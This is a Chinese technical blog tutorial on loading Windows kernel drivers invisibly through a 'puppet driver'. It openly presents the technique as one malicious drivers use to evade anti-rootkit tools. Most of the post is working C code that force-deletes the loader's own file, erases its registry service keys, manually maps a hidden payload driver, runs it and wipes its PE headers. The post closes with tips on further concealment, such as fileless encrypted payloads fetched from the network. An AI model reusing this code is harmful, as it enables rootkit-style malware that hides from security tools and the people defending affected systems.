无”痕”加载驱动模块之傀儡驱动 (上)

驱动加载与ark遍历原理

正常通过服务加载的驱动会显示在ark工具的列表里

CreateServiceA
OpenSCManagerA
StartServiceA
ControlService
DeleteService

无

无

原理是通过ZwQuerySystemInformation 或者驱动入口参数的_DRIVER_OBJECT结构中的双向循环链表遍历到

ULONG EnumKernel(PUCHAR buffer)
{
    size_t count = 0;

    NTSTATUS nStatus;
    ULONG retLength;  //缓冲区长度
    PVOID pProcInfo;
    PRTL_PROCESS_MODULE_INFORMATION pProcIndex;
    //调用函数,获取进程信息
    nStatus = ZwQuerySystemInformation(
        SystemModuleInformation,   
        NULL,
        0,
        &retLength  //返回的长度,即为我们需要申请的缓冲区的长度
    );
    if (!retLength)
    {
        DbgPrint("ZwQuerySystemInformation error!\n");
        return nStatus;
    }
    DbgPrint("retLength =  %u\n", retLength);
    //申请空间
    pProcInfo = ExAllocatePool(NonPagedPool, retLength);
    if (!pProcInfo)
    {
        DbgPrint("ExAllocatePool error!\n");
        return STATUS_UNSUCCESSFUL;
    }
    nStatus = ZwQuerySystemInformation(
        SystemModuleInformation,  
        pProcInfo,
        retLength,
        &retLength
    );
    if (NT_SUCCESS(nStatus)/*STATUS_INFO_LENGTH_MISMATCH == nStatus*/)

    {
        pProcIndex = ((PRTL_PROCESS_MODULES)pProcInfo)->Modules;



        for (size_t i = 0; i < ((PRTL_PROCESS_MODULES)pProcInfo)->NumberOfModules; i++)
        {
          

                LOG("加载顺序 %d  名字 %s  地址 %p 大小 %p", pProcIndex[i].LoadOrderIndex, pProcIndex[i].FullPathName, pProcIndex[i].ImageBase,pProcIndex[i].ImageSize);
        }
    }
    else
    {
        DbgPrint("error code : %u!!!\n", nStatus);
    }
    ExFreePool(pProcInfo);

    // DbgBreakPoint();
    return count;
}
typedef struct _DRIVER_OBJECT {
    CSHORT Type;
    CSHORT Size;
    PDEVICE_OBJECT DeviceObject;	// DeviceObject 每个驱动程序会有一个或多个设备对象。其中
									// 每个设备对象都有一个指针指向下一个驱动对象,最后一个设备对象指向空。此处的DeviceObject
									// 指向驱动对象的第一个设备对象。通过DeviceObject,就可以遍历驱动对象里的所有
									// 设备对象。设备对象是由程序员自己创建的,而非操作系统完成,在驱动被卸载的时候,遍历每个
									// 设备对象,并将其删除
									
    ULONG Flags;
    PVOID DriverStart;
    ULONG DriverSize;
    PVOID DriverSection;
    PDRIVER_EXTENSION DriverExtension;
	
    UNICODE_STRING DriverName;		 // 记录的是驱动程序的名字。这里用UNICODE字符串记录,该字符串一般为\Driver\[驱动程序名称]。
	
    PUNICODE_STRING HardwareDatabase;	// 这里记录的是设备的硬件数据库键名,这里同样用UNICODE字符串记录。该字符一般为
										// REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM。
										
    PFAST_IO_DISPATCH FastIoDispatch;	// 文件驱动中用到的派遣函数。
	
    PDRIVER_INITIALIZE DriverInit;
	
    PDRIVER_STARTIO DriverStartIo; // 记录StartIO例程的函数地址,用户串行化操作。
	
    PDRIVER_UNLOAD DriverUnload; // 指定驱动卸载时所用的回调函数地址。
	
    PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];// MajorFunction域记录的是一个函数指针数组,也就是MajorFunction是
																// 一个数组,数组中的每个成员记录着一个指针,每一个指针指向的是一个函数。
																// 这个函数就是处理IRP的派遣函数。
 
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;

无模块技术介绍

而恶意驱动模块为了躲避ark的扫描常常会使用无模块加载技术,使其无法通过正常手段查询。

下面介绍两种常见的无模块加载技术:

1.傀儡驱动,通过傀儡驱动内存拉伸真正的驱动,并清理傀儡驱动痕迹。

2.漏驱利用,通过白名单驱动的漏洞利用来加载我们自己的驱动,比较著名的项目为Kdmapper。

傀儡驱动加载原理

本文先介绍第一种技术:

正常我们加载驱动会在DriverEntry里返回STATUS_SUCCESS表示加载成功

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {

	pDriverObject->DriverUnload = DriverUnload;
	DbgPrintEx(77, 0, "你好\r\n");





	return STATUS_SUCCESS;
}

如果我们返回STATUS_UNSUCCESSFUL,驱动会显示加载失败

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) {

	pDriverObject->DriverUnload = DriverUnload;
	DbgPrintEx(77, 0, "你好\r\n");


	return STATUS_UNSUCCESSFUL;
}

运行驱动,我们发现显示驱动加载失败,但是盲点来了,我们发现夹在在中间的代码已经被执行完毕

无

那么我们将入口点返回STATUS_UNSUCCESSFUL的驱动作为傀儡驱动,在DriverEntry和STATUS_UNSUCCESSFUL中间执行清理傀儡驱动加载痕迹和内存拉伸功能驱动的代码即可。

第一步删除自身驱动文件

	//删除自身
	PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;
	DeleteFile(&pLdr->FullDllName);


  BOOLEAN DeleteFile(PUNICODE_STRING FilePath)
{
	NTSTATUS ntstatus = NULL;
	HANDLE hFile = NULL;
	OBJECT_ATTRIBUTES obj = { 0 };
	IO_STATUS_BLOCK IostaBlc = { 0 };
	PFILE_OBJECT pFileObj = NULL;

	//初始化对象属性
	InitializeObjectAttributes(&obj, FilePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);

	
	//打开文件获取句柄
	ntstatus = NtCreateFile(
		&hFile,
		FILE_READ_ACCESS,
		&obj,
		&IostaBlc,
		NULL,
		FILE_ATTRIBUTE_NORMAL,
		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 
		FILE_OPEN,
		FILE_NON_DIRECTORY_FILE,
		NULL,
		NULL
	);

	if (!NT_SUCCESS(ntstatus))
	{
		return FALSE;
	}

	//获取文件内核对象
	ntstatus = ObReferenceObjectByHandle(
		hFile,
		FILE_ANY_ACCESS,
		*IoFileObjectType,
		KernelMode,
		&pFileObj,
		NULL
	);
	
	if (!NT_SUCCESS(ntstatus) || pFileObj == NULL)
	{

		return FALSE;
	}

	

	//强制删除文件
	pFileObj->DeletePending = 0;
	pFileObj->DeleteAccess  = 1;
	//pFileObj->SharedDelete  = 1;
	pFileObj->SectionObjectPointer->DataSectionObject  = NULL;
	pFileObj->SectionObjectPointer->ImageSectionObject = NULL;
	//pFileObj->SectionObjectPointer->SharedCacheMap	   = NULL;
	MmFlushImageSection(pFileObj->SectionObjectPointer, MmFlushForDelete);

	ntstatus = ZwDeleteFile(&obj);
	if (pFileObj != NULL)
	{
		ObDereferenceObject(pFileObj);
	}
	ZwClose(hFile);
	return NT_SUCCESS(ntstatus) ? TRUE : FALSE;
}

第二步删除注册表,要从内层向外层删,不然会留下痕迹

BOOLEAN DeleteRegEditEntry(PUNICODE_STRING RegPath)
{
	HANDLE hKey = NULL;
	HANDLE hKey1 = NULL;
	OBJECT_ATTRIBUTES obj = { 0 };
	OBJECT_ATTRIBUTES obj1 = { 0 };
	NTSTATUS ntstatus = NULL;
	PWCHAR szPanth[0x256] = { 0 };
	UNICODE_STRING uPath = { 0 };


	//删除子项
	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"DisplayName");
	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"ErrorControl");
	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"ImagePath");
	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"Start");
	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"Type");
	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, RegPath->Buffer, L"WOW64");

	//寻找内层
	RtlStringCbPrintfW(szPanth, 0x256, L"%ws\\Enum", RegPath->Buffer);
	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"Count");
	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"INITSTARTFAILED");
	RtlDeleteRegistryValue(RTL_REGISTRY_ABSOLUTE, szPanth, L"NextInstance");

	//删除内层
	RtlInitUnicodeString(&uPath, szPanth);
	InitializeObjectAttributes(&obj1, &uPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
	ntstatus = ZwOpenKey(&hKey1, KEY_ALL_ACCESS, &obj1);
	if (!NT_SUCCESS(ntstatus))
	{
		return FALSE;
	}
	ZwDeleteKey(hKey1);
	ZwClose(hKey1);

	//删除表项
	InitializeObjectAttributes(&obj, RegPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
	ntstatus = ZwOpenKey(&hKey, KEY_ALL_ACCESS, &obj);
	if (!NT_SUCCESS(ntstatus))
	{
		return FALSE;
	}
	ZwDeleteKey(hKey);
	ZwClose(hKey);

	return TRUE;
}

第三步拉伸功能驱动文件到内存状态

PUCHAR FileBufferToImageBuffer()
{
	//File ->image
	PUCHAR pBuffer = (PUCHAR)FileData;
	PUCHAR pImageBuffer = NULL;


	//定位结构
	PIMAGE_DOS_HEADER		pDos = (PIMAGE_DOS_HEADER)pBuffer;
	PIMAGE_NT_HEADERS		pNth = (PIMAGE_NT_HEADERS)(pBuffer + pDos->e_lfanew);
	PIMAGE_SECTION_HEADER	pSec =	IMAGE_FIRST_SECTION(pNth);

	//申请内存
	pImageBuffer = ExAllocatePool(NonPagedPool, pNth->OptionalHeader.SizeOfImage);
	if (!pImageBuffer)
	{
		
		return NULL;
	}
	// 清除内存并拷贝头节
	memset(pImageBuffer, 0, pNth->OptionalHeader.SizeOfImage);
	memcpy(pImageBuffer, pBuffer, pNth->OptionalHeader.SizeOfHeaders);

	//拷贝节区
	for (size_t i = 0; i < pNth->FileHeader.NumberOfSections; i++)
	{
		ULONG VirtualAddress = pSec[i].VirtualAddress;
		ULONG SizeOfRawData = pSec[i].SizeOfRawData;
		ULONG PointerToRawData = pSec[i].PointerToRawData;
			if (pSec[i].SizeOfRawData != 0)
			{
				memcpy(
					pImageBuffer + pSec[i].VirtualAddress,
					pBuffer + pSec[i].PointerToRawData,
					pSec[i].SizeOfRawData
				);
			}

	}
	return pImageBuffer;
}

第四步修复重定位表

VOID RepairRelocation(PUCHAR pImageBuffer)
{
	

	//定位结构
	PIMAGE_DOS_HEADER		pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
	//if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;	// 检查DOS头的有效性
	PIMAGE_NT_HEADERS		pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);
	 
	PIMAGE_BASE_RELOCATION  pRel = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
	if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress==0)
	{
		return ;
	}

	//遍历重定向
	while (pRel->VirtualAddress && pRel->SizeOfBlock)
	{
		//VirtualAddress
		//SizeOfBlock

		ULONG_PTR	uRelEntry = (pRel->SizeOfBlock - 8) / 2;
		PUSHORT		pRelEntry = (PUSHORT)((PUCHAR)pRel + 8);


		for (size_t i = 0; i < uRelEntry; i++)
		{
			//判断标志 
			if ((pRelEntry[i] >> 12 ) == IMAGE_REL_BASED_DIR64)
			{
				ULONG_PTR uLowOffset = pRelEntry[i] & 0XFFF;
				ULONG_PTR* uRepairAddr = (ULONG_PTR*)(pImageBuffer + pRel->VirtualAddress + uLowOffset);
				*uRepairAddr = *uRepairAddr  - pNth->OptionalHeader.ImageBase + pImageBuffer;
			}


		}


		pRel = (PIMAGE_BASE_RELOCATION)((PUCHAR)pRel + pRel->SizeOfBlock);
	}
}

第五步修复导入表

VOID RepairImportData(PUCHAR pImageBuffer)
{
	//定位结构
	PIMAGE_DOS_HEADER			pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
	PIMAGE_NT_HEADERS			pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);

	PIMAGE_IMPORT_DESCRIPTOR		pImp = (PIMAGE_BASE_RELOCATION)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
	if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0)
	{
		return;
	}
	//遍历导入
	while (pImp->FirstThunk && pImp->OriginalFirstThunk)
	{

		PIMAGE_THUNK_DATA  pIAI = (PIMAGE_THUNK_DATA)(pImageBuffer + pImp->FirstThunk);
		PIMAGE_THUNK_DATA  pINT = (PIMAGE_THUNK_DATA)(pImageBuffer + pImp->OriginalFirstThunk);
		PUCHAR DLLName = (PUCHAR)(pImageBuffer + pImp->Name);
		while (pINT->u1.AddressOfData && pIAI->u1.Function)
		{
			NTSTATUS st = NULL;
			PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pImageBuffer);
			ANSI_STRING aFunName = { 0 };
			UNICODE_STRING uFunName = { 0 };
			ULONG_PTR uFunAddr = 0;
			RtlInitAnsiString(&aFunName, pName->Name);

			if (_stricmp((DLLName),"ntoskrnl.exe") == 0 ||
				_stricmp((DLLName),"ntkrnlpa.exe") == 0 ||
				_stricmp((DLLName),"hal.exe") == 0		)
			{

				st = RtlAnsiStringToUnicodeString(&uFunName, &aFunName, TRUE);
				if (!NT_SUCCESS(st))return;

				uFunAddr = MmGetSystemRoutineAddress(&uFunName);

				//释放内存
				RtlFreeUnicodeString(&uFunName);

			}
			else
			{
		
				PUCHAR pImageBase = 0;
				pImageBase = GetModuleInfo((DLLName), NULL);
				if (!pImageBase)
				{
					return;
				}

	
			
				uFunAddr = GetExportFunAddrByName(pImageBase, pName->Name);
			}

			if (!uFunAddr)
			{
				return;
			}


			//修改地址
			pIAI->u1.Function = uFunAddr;



			//指向下个
			pIAI++;
			pINT++;
		}

		pImp++;
	}
}

第六步修正校验

VOID RepairCookie(PUCHAR pImageBuffer)
{
	//定位结构
	PIMAGE_DOS_HEADER			pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
	PIMAGE_NT_HEADERS			pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);

	//获取配置
	PIMAGE_LOAD_CONFIG_DIRECTORY pLod = (PIMAGE_LOAD_CONFIG_DIRECTORY)(pImageBuffer + pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress);

	if (pNth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress == NULL)
	{
		return;
	}

	*(ULONG_PTR*)pLod->SecurityCookie += 10;
}

第七步执行功能驱动入口,并抹除功能驱动pe指纹

VOID EntryCall(PUCHAR pImageBuffer)
{

	//定位结构
	PIMAGE_DOS_HEADER			pDos = (PIMAGE_DOS_HEADER)pImageBuffer;
	PIMAGE_NT_HEADERS			pNth = (PIMAGE_NT_HEADERS)(pImageBuffer + pDos->e_lfanew);

	//获取入口
	PDRIVER_INITIALIZE pEntry = (PDRIVER_INITIALIZE)(pImageBuffer + pNth->OptionalHeader.AddressOfEntryPoint);
	if (pEntry)
	{
		NTSTATUS st = 	pEntry(NULL,NULL);
		if (NT_SUCCESS(st))
		{
			
			memset(pImageBuffer, 0x00, pNth->OptionalHeader.SizeOfHeaders);
		}
	}

}

测试环节

功能驱动代码

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
    DbgPrintEx(77, 0, "[功能驱动加载成功]\r\n");

    return STATUS_SUCCESS;
}

转换为二进制藏在傀儡驱动里

无

安装傀儡驱动

无

无

发现傀儡驱动加载失败,并清理了自身,功能驱动正确加载。

ark中无任何加载痕迹

无

总结

傀儡驱动入口返回失败,删除自身->清理注册表->拉伸功能驱动->修复重定位->修复导入表->修复校验->Call入口

当然这只是无痕驱动的雏形并不是真正的无痕驱动,还有很多痕迹需要清理,只是一个基本思想供大家举一反三。

例如:云下放功能驱动加密文件不落地,利用网络传输到内存,拉伸时再动态解密。功能驱动使用懒惰导入,去导入表化,清理驱动卸载链表等